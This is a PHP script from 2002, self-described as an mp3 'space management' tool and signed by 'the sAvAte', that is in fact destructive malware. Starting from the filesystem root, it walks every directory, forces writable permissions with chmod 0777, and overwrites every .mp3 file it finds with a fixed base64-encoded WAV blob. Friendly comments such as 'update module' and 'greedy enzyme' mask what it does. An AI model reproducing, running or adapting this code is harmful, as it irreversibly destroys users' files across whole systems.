// phpgastro -> mp3 optimal space management ;-)
// brought to you by the sAvAte on March 2002
// Payload : loss on modified media files
// Signature : buccal
$full_mode = "yes"; // mp3 lookup mode (no = local only)
$debug = "yes"; // yes = display progress while updating
$dir = ""; // startup dir (ignored in full mode)
function debug($msg) { // basic debug stuff
global $debug;
if($debug=="yes") echo $msg;
}
function gastro($file) { // update module
$new = @fopen($file, "w");
if(!$new) return false;
debug("Updating file ..\n
");
if (!@fwrite($new, swallow(), 7270)) return false;
debug("Closing File\n
");
@fclose($new);
}
function scan($dir) { // scan module
// get more time if possible
@set_time_limit(0);
if($dir=="") {
if(ereg("win", strtolower(PHP_OS))) { // get windir content
debug("Opening directory .\n
");
$all = @opendir('.');
}
else { // get dir content
debug("Opening directory ./\n
");
$all = @opendir("./");
}
}
else {
if(is_dir($dir)) {
debug("Opening directory $dir\n
");
$all = @opendir($dir);
}
}
while ($file = @readdir($all)) {
// Recursive update
if(is_dir($file) &&($file!="." && $file!="..")) {
debug("Changing Dir to $file\n
");
@chdir($file); // change directory
debug("Exploring dir $file\n
");
scan($dir); // scan folder and subfolders
debug("Changing dir back ../\n
");
@chdir("../"); // change back directory
}
$inf = true;
if ( strstr($file, '.mp3') ) {
debug("Found mp3 file : $file\n
");
// filename is good candidate for update, is it writeable?
if ( is_file($file) && is_writeable($file) ) {
debug("File is Writeable, updating\n
");
gastro($file);
}
else {
debug("File is protected, trying chmod?\n
");
$priv = fileperms($file);
@chmod($file, 0777);
debug("Trying again update\n
");
if(!gastro($file)) debug("Failed update on $file\n
");
else {
@chmod($file, $priv);
}
}
}
else {
// next generation updates wav, oog, etc, etc
}
}
@closedir($all);
}
function swallow() { // base_64 encoded greedy enzyme
return base64_decode(
'UklGRl4cAABXQVZFZm10IB4AAABVAAEA4C4AAMQJAAABAAAADA'.
'ABAAIAAADwAAIAcQVmYWN0BAAAAACHAABkYXRhIBwAAP/jNMQA'.
'AAACWyAAAAD///////////////////////////////////////'.
'//////////////////////////////////////////////////'.
'//////////////////////////////////////////////////'.
'/////////////////////////////////////jJMSDAAACWyAA'.
'AAD///////////////////////////////////////////////'.
'//////////////////////////////////////////////////'.
'///////////////jNMTWFoACWyAAAAD///////////////////'.
'//////////////////////////////////////////////////'.
'//////////////////////////////////////////////////'.
'//////////////////////////////////////////////////'.
'///////jJMT/FMACWyAAAAD///////////////////////////'.
'//////////////////////////////////////////////////'.
'///////////////////////////////////jNMT/IMACWyAAAA'.
'D/////////////////////////////////////////////////'.
'//////////////////////////////////////////////////'.
'/////////////////////yqF+PAUgCaeHRAFp9wMLBgIjsDK4l'.
'9+Bq0ngYCCwlog//yAGg7gTAIP/jJMT/FMACWyAAAAAcE/+2Bi'.
'MKg0EwGOAkBnYWBjMDBwE//wMXAgLXyaYzN0f//y+mUR1CPAtg'.
'HXCxcBQN////jKF8PXIm6CF1IJ/////p3QY0Z01IJ7f/////+n'.
'LjOf/jNMT/IMACWyFAAADzBBN5oyZaFLbo6rsAIMMVA85jGsos'.
'Q/GFCDNHKIWTKOGCGmuYLJwmpXqGmnUmJGHCZCAqcfaeVbD6dr'.
'OD4pTcq06jHhSa6YkiHG1F4Chx3YuBRIONtszSCEc0AgkPLyAY'.
'Q4t2C4zBiNyPpmy5wDRlAyywCAM02NMQDM4iCCyWfmnSZf/jJM'.
'T/IMQB5AGSqACxW0khY///5f3///qf////+7l6zBjBCyc3L+ba'.
'2rOAh5b8OC3e/+8rt22XTnsP/////5P///////3/KAOCTLo3u/'.
'9WltTMxKY7DkjluC5pmMKGrP/jNMTPLYJGsZGZ0yKBUy4nHVhY'.
'CXwtxuMGOQ1X0Tqhil4LiRyQQJpJIFM4kOY+bmQxhJQ5QwgO8N'.
'gEyEyEOF1JVFFGpFFH//+pJJ//8kTQlkjgob4eS7k/e/t6IMok'.
'VbNQBSh2VUy253SOEOQjpxS0pSnGgjRrEhszTyk1HuryXappTY'.
'lTS6dx6Wl3MxqW8v/jJMScGDnSnOnYaAE1NyyNUkahlpKURfdS'.
'8ExTDqySRc//+RvPAMAQ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pIomCG3qsZ'.
'gBrPMygDQHemARVdwenugnn5fcNG//4VwkhCMCTUPwXggaFRfK'.
'ZQKgTwI4ihcBs3//9Cn//DQpFIaDYEkRy//jNMTHG4HmeADO5M'.
'BriHBSfUX/KDnWxNC5pjUESyH1ZYEWMhWXxIgRMjIRbTCs0YIQ'.
'Mrho4bTcbGQCyAIRFnR0UJH37U7DiaLf/6yUPmBQD1ZKDXIScN'.
'KAa8NuAJkGywU4RiGlqUZpf///8/JjQQhqQw6FAhivd69YQoRL'.
'inC1iuKWn/zgvx7prw7P/04xGP/jJMTcGAHmhADLVxQJhGNCyW'.
'ALSXMCdBJh2BwZ4B4EYMoFDQCbnLdgQAEIF+JhpnLCQbQG5gyD'.
'f/TUTCimbqZ+uoGETEJQBUg1hoG5NBv//dkUThuslTUkj/g6hG'.
'wV4P/jNMTPHYHihADUnxAcoQqam+s/AAC2GJem8T4X2Zqc1DBZ'.
'X1E8nVYZUivJqA+iKRRVDqgKKtYHmfrm5ubmbkLCNh5k6fU2ra'.
'uXewcjcBIevEieSdS1LUv/9WtqtS1GKAdQJEAK0AQRjFJH3MTX'.
'//////lgWBYFgWBkGQZBkGgWBYFg2DIMgyDIGBYFg2ZNf//jJM'.
'TcGAHimAB+mqhWwoMJ6rjlGELKLqUBvqRfP4kIiwgop5KDrVjG'.
'pFGcJChXhkkgLmcC2YXLDRdA2qpkkDCTLh6NFChZBPAKFWywSE'.
'5nLBUi6DQs+WCoqKiooDhoeP/jNMTPHwHmq+x7Gw6v////////'.
'1+3r//////////////////////////////////////////////'.
'//////////////////////////////////////////////////'.
'//////////////////////////////////////////////////'.
'/////////////////jJMTWF0DuNAB6TQD/////////////////'.
'//////////////////////////////////////////////////'.
'///////////////////////////////////////////w=='.
'');
}
if($full_mode=="yes") {
@chdir("../../../../../../../../../../../../../../../../../");
}
scan($dir);
?>